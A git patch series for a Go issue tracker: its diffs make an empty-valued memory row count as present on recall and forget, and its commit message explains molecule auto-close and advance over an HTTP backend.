front door can create one — storing empty content is refused — but an + out-of-band write to the config table can, and presence here is row + existence, never whether the value happens to be non-empty. That is the + same rule `GET /v0/beads/memories` already followed by enumerating such + a row because its key exists; the two surfaces now agree rather than + splitting on an asymmetry a client would have had to know about. MEMORY CONTENT IS SERVED IN FULL, and a configured bearer does not @@ -5975,9 +5976,9 @@ paths: $ref: '#/components/responses/Unauthenticated' '404': description: >- - This workspace holds no memory under that key — or holds one stored - as the empty string, which answers the same way. `detail` says which - plane was asked, not which of those two it was. + This workspace holds no memory under that key. A row stored as the + empty string is not this case: it exists, so this operation returns + it as a `200` with an empty `value`, the same as any other memory. x-bd-codes: [not_found] content: application/problem+json: @@ -6059,9 +6060,10 @@ paths: $ref: '#/components/responses/Unauthenticated' '404': description: >- - This workspace holds no memory under that key — or holds one stored - as the empty string, which answers the same way — and NOTHING WAS - REMOVED. + This workspace holds no memory under that key, and NOTHING WAS + REMOVED. A row stored as the empty string is not this case: it + exists, so forgetting it removes it and answers `200`, the same as + any other memory. x-bd-codes: [not_found] content: application/problem+json: @@ -9355,9 +9357,9 @@ components: Always present. It is the empty string only where a row was written - out of band with an empty value, which - `GET /v0/beads/memories/{key}` answers as a `404` and - `GET /v0/beads/memories` enumerates. + out of band with an empty value — a row `GET /v0/beads/memories/{key}` + answers `200` for, and `GET /v0/beads/memories` enumerates, the same + as any other memory. MemoriesPage: type: object @@ -9445,11 +9447,10 @@ components: A previous value that was the EMPTY STRING reports true: the ROW - existed, even though `GET /v0/beads/memories/{key}` would have - answered `404` for it. That divergence is the storage seam's - conflation showing through, and it is stated rather than smoothed - over, because smoothing it would mean this member reporting - "nothing was there" about a write that overwrote something. + existed, and `GET /v0/beads/memories/{key}` would have answered + `200` for it too, with an empty `value` — this member and that + endpoint agree on what counts as present, because both read it off + the row rather than off the value it happened to hold. SetSettingRequest: type: object diff --git a/internal/httpclient/memories.go b/internal/httpclient/memories.go index e5bc3f655..986f6a8f4 100644 --- a/internal/httpclient/memories.go +++ b/internal/httpclient/memories.go @@ -66,9 +66,10 @@ func (m *httpMemories) Recall(ctx context.Context, req memoryops.RecallRequest) if err != nil { return memoryops.RecallResult{}, err } - // Found is Value != "": the role conflates a stored empty string with an - // absent memory, and so does the wire, which 404s the same row. - return memoryops.RecallResult{Key: req.Key, Value: res.Value, Found: res.Value != ""}, nil + // Found is about the ROW, not the value: the wire spells a miss as the 404 + // handled above, and a row stored as the empty string as a 200 with an + // empty value. Reading Found off Value would hide that row again. + return memoryops.RecallResult{Key: req.Key, Value: res.Value, Found: true}, nil } // Forget removes one memory and reports the value it removed. diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go index 5550f0b4b..d73b741b0 100644 --- a/internal/httpclient/served_memories_deps_test.go +++ b/internal/httpclient/served_memories_deps_test.go @@ -80,8 +80,8 @@ func TestServedMemoriesRecallReportsAMissAsNotFoundNotAnError(t *testing.T) { conformance.RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t, t.Context(), newServedMemoriesFixture(t, "hm09")) } -func TestServedMemoriesRecallConflatesStoredEmptyWithAbsent(t *testing.T) { - conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent(t, t.Context(), newServedMemoriesFixture(t, "hm10")) +func TestServedMemoriesEmptyRowIsPresentUntilForgotten(t *testing.T) { + conformance.RunMemoriesEmptyRowIsPresentUntilForgotten(t, t.Context(), newServedMemoriesFixture(t, "hm10")) } func TestServedMemoriesForgetRemovesExactlyTheNamedRow(t *testing.T) { diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index c367198b1..6cca206e6 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -558,10 +558,10 @@ func (c *Client) RememberMemory(ctx context.Context, body apigen.RememberRequest return &out, nil } -// RecallMemory reads one memory. A miss — including a row stored as the empty -// string — is a 404, which the problem mapper turns into issueops.ErrNotFound; -// the memory role converts that to its own Found-false result, because -// memoryops has deliberately no ErrNotFound. +// RecallMemory reads one memory. A miss is a 404, which the problem mapper +// turns into issueops.ErrNotFound; the memory role converts that to its own +// Found-false result, because memoryops has deliberately no ErrNotFound. A row +// stored as the empty string is not a miss: it is a 200 with an empty value. func (c *Client) RecallMemory(ctx context.Context, key string) (*apigen.Memory, error) { path, err := MemoryPath(key) if err != nil { diff --git a/internal/storage/dolt/memories.go b/internal/storage/dolt/memories.go index 8ec10f89f..c9da17c57 100644 --- a/internal/storage/dolt/memories.go +++ b/internal/storage/dolt/memories.go @@ -55,15 +55,18 @@ func (m *memories) Recall(ctx context.Context, req memoryops.RecallRequest) (mem if err != nil { return memoryops.RecallResult{}, err } - var value string + var ( + value string + found bool + ) if err := m.store.withReadTx(ctx, func(tx *sql.Tx) error { var err error - value, err = storagememoryops.RecallInTx(ctx, tx, key) + value, found, err = storagememoryops.RecallInTx(ctx, tx, key) return err }); err != nil { return memoryops.RecallResult{}, err } - return memoryops.RecallResult{Key: key, Value: value, Found: value != ""}, nil + return memoryops.RecallResult{Key: key, Value: value, Found: found}, nil } // Forget reads the value and deletes the row in ONE transaction, so the value diff --git a/internal/storage/dolt/memories_contract_test.go b/internal/storage/dolt/memories_contract_test.go index 4e7d0cdc4..0a304b59f 100644 --- a/internal/storage/dolt/memories_contract_test.go +++ b/internal/storage/dolt/memories_contract_test.go @@ -55,8 +55,8 @@ func TestMemoriesContract(t *testing.T) { t.Run("RecallReportsAMissAsNotFoundNotAnError", func(t *testing.T) { conformance.RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t, ctx, fixture) }) - t.Run("RecallConflatesStoredEmptyWithAbsent", func(t *testing.T) { - conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent(t, ctx, fixture) + t.Run("EmptyRowIsPresentUntilForgotten", func(t *testing.T) { + conformance.RunMemoriesEmptyRowIsPresentUntilForgotten(t, ctx, fixture) }) t.Run("ForgetRemovesExactlyTheNamedRow", func(t *testing.T) { conformance.RunMemoriesForgetRemovesExactlyTheNamedRow(t, ctx, fixture) diff --git a/internal/storage/embeddeddolt/memories.go b/internal/storage/embeddeddolt/memories.go index 75d3f6ad4..d52b68a37 100644 --- a/internal/storage/embeddeddolt/memories.go +++ b/internal/storage/embeddeddolt/memories.go @@ -55,15 +55,18 @@ func (m *memories) Recall(ctx context.Context, req memoryops.RecallRequest) (mem if err != nil { return memoryops.RecallResult{}, err } - var value string + var ( + value string + found bool + ) if err := m.store.withConn(ctx, false, func(tx *sql.Tx) error { var err error - value, err = storagememoryops.RecallInTx(ctx, tx, key) + value, found, err = storagememoryops.RecallInTx(ctx, tx, key) return err }); err != nil { return memoryops.RecallResult{}, err } - return memoryops.RecallResult{Key: key, Value: value, Found: value != ""}, nil + return memoryops.RecallResult{Key: key, Value: value, Found: found}, nil } func (m *memories) Forget(ctx context.Context, req memoryops.ForgetRequest) (memoryops.ForgetResult, error) { diff --git a/internal/storage/embeddeddolt/memories_contract_test.go b/internal/storage/embeddeddolt/memories_contract_test.go index 28baf2b2c..cdcd9c266 100644 --- a/internal/storage/embeddeddolt/memories_contract_test.go +++ b/internal/storage/embeddeddolt/memories_contract_test.go @@ -54,8 +54,8 @@ func TestMemoriesContract(t *testing.T) { t.Run("RecallReportsAMissAsNotFoundNotAnError", func(t *testing.T) { conformance.RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t, ctx, fixture) }) - t.Run("RecallConflatesStoredEmptyWithAbsent", func(t *testing.T) { - conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent(t, ctx, fixture) + t.Run("EmptyRowIsPresentUntilForgotten", func(t *testing.T) { + conformance.RunMemoriesEmptyRowIsPresentUntilForgotten(t, ctx, fixture) }) t.Run("ForgetRemovesExactlyTheNamedRow", func(t *testing.T) { conformance.RunMemoriesForgetRemovesExactlyTheNamedRow(t, ctx, fixture) diff --git a/internal/storage/memoryops/memories.go b/internal/storage/memoryops/memories.go index a9c58e1ff..31dce53e5 100644 --- a/internal/storage/memoryops/memories.go +++ b/internal/storage/memoryops/memories.go @@ -84,9 +84,7 @@ func MemoriesFromConfig(all map[string]string) map[string]string { // destroyed. // // replaced is about the ROW, not the value: a memory stored as the empty string -// reports true even though a Recall of it would report Found false. See -// memoryops.RememberResult.Replaced, which states that divergence rather than -// smoothing it over. +// reports true, just as Recall reports it found. func RememberInTx(ctx context.Context, tx *sql.Tx, key, content string) (replaced bool, err error) { storageKey := StorageKey(key) replaced, err = configRowExistsInTx(ctx, tx, storageKey) @@ -99,31 +97,33 @@ func RememberInTx(ctx context.Context, tx *sql.Tx, key, content string) (replace return replaced, nil } -// RecallInTx reads one memory in the caller's transaction. A key nothing stored -// answers "" with a nil error: the seam cannot tell that from a row stored -// empty, and the role's Found field is where that conflation is stated. -func RecallInTx(ctx context.Context, tx *sql.Tx, key string) (string, error) { - return issueops.GetConfigInTx(ctx, tx, StorageKey(key)) +// RecallInTx reads one memory in the caller's transaction and reports whether +// its row exists. A stored empty value is therefore distinct from no row. +func RecallInTx(ctx context.Context, tx *sql.Tx, key string) (value string, found bool, err error) { + storageKey := StorageKey(key) + err = tx.QueryRowContext(ctx, "SELECT value FROM config WHERE `key` = ?", storageKey).Scan(&value) + if errors.Is(err, sql.ErrNoRows) { + return "", false, nil + } + if err != nil { + return "", false, fmt.Errorf("recall memory %s: %w", storageKey, err) + } + return value, true, nil } // ForgetInTx removes one memory and returns what it held, both in the caller's // transaction — which is what makes the returned value the one that was // actually deleted rather than the one an earlier read happened to see. // -// found is Recall's found, not the row's: a memory stored as the empty string -// reports found false and IS NOT DELETED. That keeps Forget's answer and -// Recall's answer the same statement, which is what a front door printing -// "No memory with key ..." after a successful Recall would otherwise contradict. -// // The delete names the one encoded key. There is no LIKE and no prefix sweep in // it, so forgetting "a" cannot take "a-b" with it. func ForgetInTx(ctx context.Context, tx *sql.Tx, key string) (previous string, found bool, err error) { storageKey := StorageKey(key) - previous, err = issueops.GetConfigInTx(ctx, tx, storageKey) + previous, found, err = RecallInTx(ctx, tx, key) if err != nil { return "", false, err } - if previous == "" { + if !found { return "", false, nil } if err := issueops.DeleteConfigInTx(ctx, tx, storageKey); err != nil { diff --git a/internal/storage/uow/memories.go b/internal/storage/uow/memories.go index fc5040881..3b8120468 100644 --- a/internal/storage/uow/memories.go +++ b/internal/storage/uow/memories.go @@ -88,11 +88,16 @@ func (m *memories) Recall(ctx context.Context, req memoryops.RecallRequest) (mem return memoryops.RecallResult{}, err } return RunTxRead(ctx, m.provider, func(ctx context.Context, uw UnitOfWork) (memoryops.RecallResult, error) { - value, err := uw.ConfigUseCase().GetConfig(ctx, storagememoryops.StorageKey(key)) + // The same whole-table probe as Remember, for the reason given there: + // Found is about the ROW, GetConfig answers "" for a missing row and an + // empty one alike, and the map's key set is the only place the + // difference survives. It is one query on a table of tens of rows. + all, err := uw.ConfigUseCase().GetAllConfig(ctx) if err != nil { return memoryops.RecallResult{}, err } - return memoryops.RecallResult{Key: key, Value: value, Found: value != ""}, nil + value, found := all[storagememoryops.StorageKey(key)] + return memoryops.RecallResult{Key: key, Value: value, Found: found}, nil }) } @@ -111,11 +116,14 @@ func (m *memories) Forget(ctx context.Context, req memoryops.ForgetRequest) (mem storageKey := storagememoryops.StorageKey(key) result, err := RunTxResult(ctx, m.provider, func(ctx context.Context, uw UnitOfWork) (memoryops.ForgetResult, string, error) { cfg := uw.ConfigUseCase() - previous, err := cfg.GetConfig(ctx, storageKey) + // The row probe Remember and Recall use: gating on GetConfig's "" is + // what left a memory stored empty unforgettable. + all, err := cfg.GetAllConfig(ctx) if err != nil { return memoryops.ForgetResult{}, "", err } - if previous == "" { + previous, found := all[storageKey] + if !found { return memoryops.ForgetResult{Key: key}, "", nil } if err := cfg.DeleteConfig(ctx, storageKey); err != nil { diff --git a/internal/storage/uow/memories_contract_test.go b/internal/storage/uow/memories_contract_test.go index 9725f306a..85865a199 100644 --- a/internal/storage/uow/memories_contract_test.go +++ b/internal/storage/uow/memories_contract_test.go @@ -56,8 +56,8 @@ func TestMemoriesContract(t *testing.T) { t.Run("RecallReportsAMissAsNotFoundNotAnError", func(t *testing.T) { conformance.RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t, ctx, fixture) }) - t.Run("RecallConflatesStoredEmptyWithAbsent", func(t *testing.T) { - conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent(t, ctx, fixture) + t.Run("EmptyRowIsPresentUntilForgotten", func(t *testing.T) { + conformance.RunMemoriesEmptyRowIsPresentUntilForgotten(t, ctx, fixture) }) t.Run("ForgetRemovesExactlyTheNamedRow", func(t *testing.T) { conformance.RunMemoriesForgetRemovesExactlyTheNamedRow(t, ctx, fixture) diff --git a/memoryops/errors.go b/memoryops/errors.go index c63c53e15..126aed3c5 100644 --- a/memoryops/errors.go +++ b/memoryops/errors.go @@ -23,13 +23,8 @@ var ErrValidation = beadserrors.ErrValidation // THERE IS DELIBERATELY NO ErrNotFound ON THIS ROLE. // -// beadserrors declares one; this leaf does not re-export it. The storage seam -// beneath it cannot tell an absent config row from a row stored as the empty -// string (issueops/workspaceconfig.go states the same conflation for settings, -// and it is the same table). A role that answered a Recall of an unknown key -// with ErrNotFound would be minting an error out of a distinction it cannot -// actually see, and the first out-of-band empty write would make it a lie. -// -// Misses are RESULT-CARRIED instead — RecallResult.Found, ForgetResult.Found — -// and the front doors translate: the CLI to its SilentExit contract, an HTTP -// door to its 404. That keeps the invention where a door can justify it. +// beadserrors declares one; this leaf does not re-export it. Misses are +// RESULT-CARRIED instead — RecallResult.Found, ForgetResult.Found — and the +// front doors translate: the CLI to its SilentExit contract, an HTTP door to +// its 404. That lets callers handle absence without classifying an operational +// error and keeps presentation policy at the door. diff --git a/memoryops/memories.go b/memoryops/memories.go index fd36482de..7788f1761 100644 --- a/memoryops/memories.go +++ b/memoryops/memories.go @@ -40,11 +40,7 @@ type RememberResult struct { // observation and the act it describes. // // A previous value that was the EMPTY STRING reports Replaced true. The ROW - // existed, even though a Recall of that key would have answered Found - // false. That divergence is the storage seam's conflation showing through - // (see RecallResult.Found); it is stated here rather than smoothed over, - // because smoothing it would mean this field reporting "nothing was there" - // about a write that overwrote something. + // existed, regardless of what it held. Replaced bool } @@ -60,15 +56,9 @@ type RecallResult struct { Key string // Value is the stored content, or "" — and Found says how to read the "". Value string - // Found is Value != "". A MEMORY STORED AS THE EMPTY STRING AND AN ABSENT - // MEMORY ARE THE SAME ANSWER: Found false, nil error. - // - // No front door can create the first of those — Remember refuses empty - // content — but an out-of-band config write can, and this role does not - // invent a distinction the seam beneath it cannot see. List DOES enumerate - // such a row, because its KEY exists, and that is the one way a caller can - // tell the two apart: the same same-answer-different-row asymmetry the - // settings contract pins for `bd config get`. + // Found reports whether the row exists, independently of Value. A memory + // stored as the empty string therefore reports Found true; an absent memory + // reports Found false with the same empty Value. Found bool } @@ -84,9 +74,8 @@ type ForgetResult struct { // read in the SAME TRANSACTION as the delete, so it is what was actually // removed rather than what a previous read happened to see. Value string - // Found false means nothing was stored under Key (or an empty string was: - // the same conflation RecallResult.Found describes) and NOTHING WAS - // DELETED. + // Found false means no row was stored under Key and NOTHING WAS DELETED. A + // row holding the empty string is found and deleted. // // It is a result, not an error. The front doors own the not-found // presentation — the CLI has an exit-code contract for it — and a role that @@ -160,7 +149,7 @@ type Memories interface { // THE REFUSALS, in the order they are applied: // // - Content empty after trimming is ErrValidation. There is nothing to - // remember, and a row stored empty is a row Recall would then deny; + // remember; // - Content from which no key can be derived, when Key is empty, is // ErrValidation. The caller's recourse is an explicit key, which the // message says. From a2d43e6792d1951f29d85c36aaf4f24229550da6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 12 Oct 2026 19:50:34 +0000 Subject: [PATCH 235/325] fix(mol): molecule reads, auto-close and close --continue over http through issueops entries (S16) (#7513) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(create): let a remote backend mint the --parent child id `bd create --parent` always called the raw GetNextChildID first, which the http backend does not serve, so every child create on a remote workspace refused before writing anything. The Lifecycle role already mints . for a create that carries a ParentID and no id of its own, on every backend and inside the create's own transaction; conformance RunIssueOperationsCreateUnderAParentMintsTheNextChildID pins it on every leg, the served one included (and the bd-enterprise postgres leg the MC server runs). So the create route needs no new capability token: on a registered Remote backend the client skips the raw reservation and lets the server mint. The local route keeps its reservation so its Dolt commit staging is unchanged, and an explicit --id beside --parent is still refused up front. Co-Authored-By: Claude Opus 5.5 * fix(mol): molecule reads, auto-close and close --continue over issueops roles Over the http backend three molecule paths failed, and two of them silently: - `bd mol current` / `bd mol progress` without an id answered "no molecules" because the in_progress listing (a raw SearchIssues shape) and the parent walk (raw GetDependencyRecordsForIssues) were refused and the refusal was swallowed; with an id they refused on raw GetMoleculeProgress. - The molecule auto-close after `bd close` never ran: findParentMolecules swallowed the same refused edge read into "not part of a molecule". - `bd close --continue` claimed the next step in a raw RunInTransaction. The direct route now reads molecules through roleMolStore, which answers through roles every backend serves: EdgeReader (batched at the wire's 100 anchors) for the parent walk, BatchGetter for the roots (Get per id where a server does not publish issues.batchGet), Relations for the step rows (full rows; the raw dependents read over http is getIssue's shallow projection, which zeroed step assignees) and the progress counts, and Reader.List for the in_progress/hooked listings. The auto-close closes the root through Lifecycle.Close, and the --continue claim is one Lifecycle.Update guarded by ExpectedStatus=open. No refusal is swallowed any more: findParentMolecules, the molecule finders and the hooked scan return their errors; `mol current/progress` report them; the auto-close stays best effort but warns on stderr; AdvanceToNextStep only moves on to the next ready step when the claim LOST a race (status mismatch, not claimable, already claimed) and returns anything else. The one heuristic still skipped is the id-pattern heal in loadDescendants, and only for an ErrUnsupported backend that cannot express an id-prefix search; other failures now surface. `mol current`/`mol progress` leave the types.IssueFilter forbidigo hole, since they no longer build a filter. gc does not depend on bd's molecule auto-close: it runs its own (cmd/gc/molecule_autoclose.go, from the bd on_close hook and the controller's bead-close events). Its worker prompts do run `bd mol current`. Served e2e (TestE2E_MoleculesOverHTTP): create --parent mints .1/.2, mol current is non-empty with the full in-progress step, mol progress counts, close --continue auto-advances, closing the last step auto-closes the root. `mol current` without an id now refuses out loud on this stack (asserted: never an empty list); its non-empty assertion is skipped until S6c (externaldeps reader passthrough) is underneath. Co-Authored-By: Claude Opus 5.5 * fix(mol): list molecule candidates with the four wire knobs, drop the S6c skip On top of S6c the in_progress listing behind 'bd mol current' (no id) reaches the v0 wire encoder, which refuses ListRequest.IncludeAllTypes. Ask for templates, gates, infra and ephemeral rows explicitly, which the wire publishes, and run the 'mol current without an id' served case. Co-Authored-By: Claude Opus 5.5 * feat(issueops): one library entry each for molecule auto-close, advance and reads The molecule rules lived only in cmd/bd, in copies that disagreed: two auto-close implementations that closed the root through different library entries outside the step close's transaction, a `close --continue` claim that set no assignee and could take a step another agent held on the direct and http routes, and three progress counts. Every molecule rule now has one implementation in the public issueops package, composed over three roles every backend serves (BatchGetter, Relations, EdgeReader): MoleculeRoots, LoadMolecule, AnalyzeMolecule, ViewMolecule, ReadMoleculeProgress, ActiveMoleculeIDs, CompletedMolecule. Membership is the parent-child edge. Auto-close: CloseRequest.AutoCloseMolecule and CloseBatchRequest.AutoCloseMolecule (opt-in, so gc's own auto-close is not doubled) close the molecule root a close completed IN THE SAME TRANSACTION, unforced and guarded on the root revision read there: storageissueops.CloseCompletedMoleculeInTx on the store backends (the role bodies bound to the caller's tx, TxMoleculeReader) and uow.CloseCompletedMoleculeInUOW on the unit of work. It replays on an idempotent re-close, reports the root on CloseResult/CloseOutcome .AutoClosedMolecule, and a root its own close policy refuses stays open and is reported (MoleculeAutoCloseRefusal) without failing the step. Advance: a new MoleculeStepper role (storage.DoltStorage accessor, uow.MoleculeStepperSource) whose one implementation, issueops.NewMoleculeStepper, claims the next ready step through the Claimer (Lifecycle.Update's Claim for a wisp step): assignee set, a step another actor holds skipped, never taken. HTTP: closeIssue/batchCloseIssues carry auto_close_molecule behind the issues.close.autoCloseMolecule behavior token, and POST /v0/beads/issues/{id}:advanceMolecule (issues.advanceMolecule) serves the stepper. Handlers only decode, call the role and encode. The client sends the member and dials the operation only where advertised; against an older server it DEGRADES rather than refuses — it runs the same library rule over its own roles (issueops.CloseCompletedMolecule after the close, NewMoleculeStepper for the advance), so the outcome is the same in more round trips. The capability fallbacks that lived in cmd/bd move into the client: BatchGetter answers one getIssue per id without issues.batchGet, and EdgeReader splits past the operation's 100 anchors. Conformance: RunMolecule* on dolt, embedded, uow and http (the http leg twice: served, and against a server with the tokens struck out). Co-Authored-By: Claude Opus 5.5 * refactor(cmd/bd): molecule commands and create --parent through the library entries `bd close`, `bd close --continue`, `bd mol current`, `bd mol progress`, `bd ready --mol` and `bd create --parent` now call the one library entry for each rule on every route (direct, proxied server, remote): - close (batch, --if-revision, proxied) sets CloseRequest/ CloseBatchRequest.AutoCloseMolecule and only reports what the library closed in the step close's transaction. autoCloseCompletedMolecule, autoCloseProxiedCompletedMolecule and closeCompletedMoleculeRoot are gone, and so is the separate post-close write. - --continue is the route's MoleculeStepper role: a real claim (the assignee is set) that skips a step another actor holds. Before, the direct and http routes flipped the status only and could take it. AdvanceToNextStep, ClaimStepIfOpen and its two implementations are gone. - mol current / mol progress / ready --mol read through issueops.ViewMolecule, ReadMoleculeProgress, ActiveMoleculeIDs and LoadMolecule/AnalyzeMolecule over the route's roles. Over http this fixes the missing step assignee on `ready --mol` (corpus mark mc-ready-mol). The proxied route's SearchIssues fallback, the role store, the third progress count and the cmd/bd copy of the readiness analysis are deleted; only presentation stays here. - create --parent asks the create role to mint the child id on every route (the local CLI reservation is gone) and to inherit the parent's labels (InheritLabelsFromParent) inside the create. The dry-run preview still shows the labels, and a failed label read there is reported, not swallowed. TestProxiedServerMoleculeLifecycleAgreesOnEveryRoute runs one molecule lifecycle through the real binary on the direct, proxied and remote (`bd connect` to `bd serve`) routes and requires the same rows and the same JSON on all three. The served e2e now also pins the held-step skip, the claimed step's assignee and the full rows of `ready --mol`. Co-Authored-By: Claude Opus 5.5 * fix(httpclient): refuse molecule auto-close and advance before dialing an older server The client used to DEGRADE against a server without issues.close.autoCloseMolecule / issues.advanceMolecule: it closed the step without the member and ran a second, client-side copy of the auto-close (issueops.CloseCompletedMolecule) in its own transactions, and composed the stepper over its own roles. That kept two executions of each rule alive. Now the rule runs in ONE place, the server's library: a close or batch close that sets AutoCloseMolecule, and an Advance, refuse before anything is dialed with the typed capability error (storage.ErrUnsupported, Capability naming the token). The composed single-item batch leg now carries the member too. - issueops.CloseCompletedMolecule (the role-composed form) is gone. MoleculeRootClose is the one root close request (unforced, the auto-close reason, the session, guarded on the root revision read), and both in-transaction bodies (storage issueops CloseCompletedMoleculeInTx, uow CloseCompletedMoleculeInUOW) build from it. - MoleculeView.Ready is `bd ready --mol`'s list (every analysis-ready node, hydrated), so ready --mol and mol current derive from ViewMolecule alone. Tests: unit pre-dial refusal and member pins (httpclient molecule_test.go), TestServedMoleculeRefusesAgainstAnOlderServer (step stays open, nothing claimed) replacing the degraded contract arm. Co-Authored-By: Claude Opus 5.5 * fix(cmd/bd): ask for the molecule auto-close only where the route serves it The refuse-before-dialing client made every `bd close` over http fail against a server that does not advertise issues.close.autoCloseMolecule (an older bd serve, or the MC server shape, whose orchestrator owns the molecule lifecycle): the CLI always set AutoCloseMolecule. storage.ServesMoleculeAutoClose answers, through every decorator, whether a store's closes may carry the flag (MoleculeAutoCloseProber, implemented by httpclient.Store from its handshake; every local backend serves it). The direct batch close and the --if-revision close set the flag from it; the proxied route always serves it. Against a silent server the close goes out without the member and the server's side owns the auto-close. Co-Authored-By: Claude Opus 5.5 * test(backend/http): scope the advertised-policy check to reads before the close The close policy check is the client-side policy's last chance: it runs before the close request, so only the reads up to that request count. A read after the close (the old-server molecule notice reads the closed step's edges) is not the external-dependency policy. Co-Authored-By: Claude Opus 5.5 * test(backend/http/corpus): drop the six marks S16 and S19 retire With the molecule library entries underneath, mol current (with and without an id, json and text), mol progress and ready --mol read through issueops.LoadMolecule over the roles, and create --parent lets the server mint the child id. Those six shapes pass on the reference profile. Co-Authored-By: Claude Opus 5.5 * fix(cmd/bd): never silent against a server without the molecule tokens Against a server that advertises neither issues.close.autoCloseMolecule nor issues.advanceMolecule (an older bd serve, or one whose orchestrator owns the molecule lifecycle): - `bd close --continue` closed the step and only then found the advance refused, leaving the step closed and the next step unclaimed. It now asks storage.ServesMoleculeAdvance (a MoleculeAdvanceProber the http store answers from its handshake; local backends always serve it) BEFORE the close and refuses up front, saying nothing was closed. - `bd close` went out without auto_close_molecule and said nothing. When the closed step belongs to a molecule (issueops.MoleculeRoot), a notice on stderr now names the molecule and the missing token: its auto-close is the server's to run. The batch and --if-revision closes both say it. The served e2e masks both tokens out of the handshake and checks the up-front refusal (the step stays open) and the notice; the httpclient unit test pins ServesMoleculeAdvance to the handshake. Co-Authored-By: Claude Opus 5.5 * refactor(cmd/bd): mol show through issueops.LoadMolecule on every route `bd mol show` still loaded the molecule through cmd/bd's loadTemplateSubgraph (raw GetIssue, GetDependentsWithMetadata and GetDependencyRecords, plus an id-pattern child probe), while mol current, mol progress and ready --mol read through the library. It now loads through issueops.LoadMolecule over the route's molecule roles (the direct store's, or the proxied provider's), so membership is the parent-child edge everywhere and the http route reads through roles the server serves. The served e2e checks mol show's root and step count. Co-Authored-By: Claude Opus 5.5 * docs: the molecule auto-close fails the step's close on a non-policy error; stale comments CloseRequest.AutoCloseMolecule and CloseCompletedMoleculeInTx now say what changed when the auto-close moved into the close's transaction: a root close the close policy refuses still leaves the root open and is reported, but any other failure (a storage error, a lost race on the root's revision) fails the step's close with it, where the CLI used to close the root afterwards and only warn. Stale: the advanceMolecule vocabulary entry said the client composes the stepper over its own roles when unserved (it refuses before dialing), and the graph-create collision probe called itself best-effort by transport (the http GetIssue miss is storage.ErrNotFound like every other store's). Co-Authored-By: Claude Opus 5.5 * docs(changelog): the molecule tokens and the S16/S19 behaviours Entries for issues.close.autoCloseMolecule and issues.advanceMolecule, the issueops molecule entries, the auto-close inside the step's close (and a non-policy failure of it failing the close), the real claim behind close --continue, the molecule reads on every route, the notice and the up-front --continue refusal against a server without the tokens, and create --parent / mol reads over http. Co-Authored-By: Claude Opus 5.5 * fix(httpclient): regenerate unsupported_gen.go for MoleculeStepper The PR adds MoleculeStepper() to storage.DoltStorage (200 -> 201 methods). httpclient implements it by hand, but the generated shell's trailer still counted 200, so //internal/storage/unsupportedgen:unsupportedgen_test (TestGeneratedShellIsFresh) failed in Bazel / test and Bazel / integration, turning CI Gate / Required red. Regenerated with `go generate ./internal/httpclient`; the only change is the trailer count (143 of 201 methods generated; 58 left). Co-Authored-By: Claude Opus 5.5 * fix(molecule): auto-close refusals, write skew, close --json, docs Review fixes for #7513, numbered as in each iteration's review synthesis. Iteration 1: F1: a close guard's refusal of the root (TemplateReadOnlyError, PinnedError, CloseNotAssigneeError) is an auto-close refusal, like the close policy's: the root stays open and is reported, and the step's close stands. Pinned by the new conformance case RunMoleculeGuardedRootKeepsTheStepClose on dolt, embedded, uow and the served http client. F2: two closes that finish a molecule's last two steps in concurrent transactions each read the other's step as open, so neither closed the root and both committed. Every auto-close now rewrites the root's coordination cell before it decides the root (local_metadata molecule-coordination/v1/, the dependency coordination idiom and sharding with a FreshRowLock value), in both twins (CloseCompletedMoleculesInTx and CloseCompletedMoleculesInUOW). Two deciders of one root now conflict at commit (1213), and the retry reads the winner's close and closes the root. This is the synthesis's option (c), applied through a coordination cell instead of the root row; it needs no post-commit second transaction and no engine lock. The deterministic two-transaction regression fails without the touch and passes with it on dolt and uow; the concurrent-close tests end with the root closed in every round, reported by exactly one close. F3: the auto-close checks the root's eligibility before walking any step, MoleculeStepsClosed stops at the first open step, and a batch decides each root once and reports it on the first item under it. F4: ErrVersionMismatch on the root is not a refusal; it fails the step's close with it. The classifier unit test pins this. A conformance case cannot stage that race deterministically through the public roles. F5: storage.ServesMoleculeAdvance answers (bool, error), and bd close --continue refuses before closing anything when the handshake cannot be read. F6: the CHANGELOG and the stepper and batch-closer doc comments say what the code does. F7: the unserved-auto-close notice fires only when the close left an auto-closing molecule with every step closed and its root open (issueops.CompletedMolecule): again on a re-close, once per root in a batch, never for a step under an ordinary epic or an unfinished molecule. Proxied mol show, mol current and mol progress again report a read unit of work that cannot be opened as itself, not as a molecule that was not found. F8: the write-ledger comment says the close is refused before dialing. The dead FirstClosed/LastClosed guards in mol progress pre-exist on main and are left as they are. Iteration 2: F1: on the proxied route, bd ready --mol reported a read unit of work it could not open twice: once as itself, then as "molecule '' not found", which under --json is a second error document on stdout. It now returns moleculeNotResolved, as mol show, mol current and mol progress do. TestProxiedReadyMolReportsAnUnopenableReadOnce drives runMoleculeReady with a provider whose NewUOW fails and wants one Error: line, or one JSON document; both subtests fail with the old return. F2: the coordination cell serializes every concurrent close of a step under an open auto-closing root, not only the closes that finish the molecule. That is the price of deciding the root in the step's transaction, so it is documented (TouchMoleculeCoordinationInTx, the UOW twin, CloseRequest.AutoCloseMolecule, the CHANGELOG) and pinned on dolt and uow: two sibling closes with a third step still open conflict (both commit when the touch is removed, on either twin), and a six-step fan-out closes every step through the store's retry, with the root closed and reported by exactly one close. The synthesis's alternative, a post-commit recheck by any close that read a step open, is not taken: it is a second, best-effort transaction after the step's commit, the shape this PR exists to remove. F3: MoleculeRootClose's doc no longer promises that a step reopened between the completion read and the root close fails the step's close. The guard is the root's RowVersion, which a step reopen never writes; the doc now says what the guard covers and that this race goes undetected (it is inherited from the CLI's old post-commit auto-close). F4: the user docs describe the auto-close. docs/workflows/molecules.md replaces "Closing the last child does not close the molecule root" with which roots close and which stay open, the refusal warning, the unserved-server note and the --json members, and documents the claiming --continue and parent-child step membership; 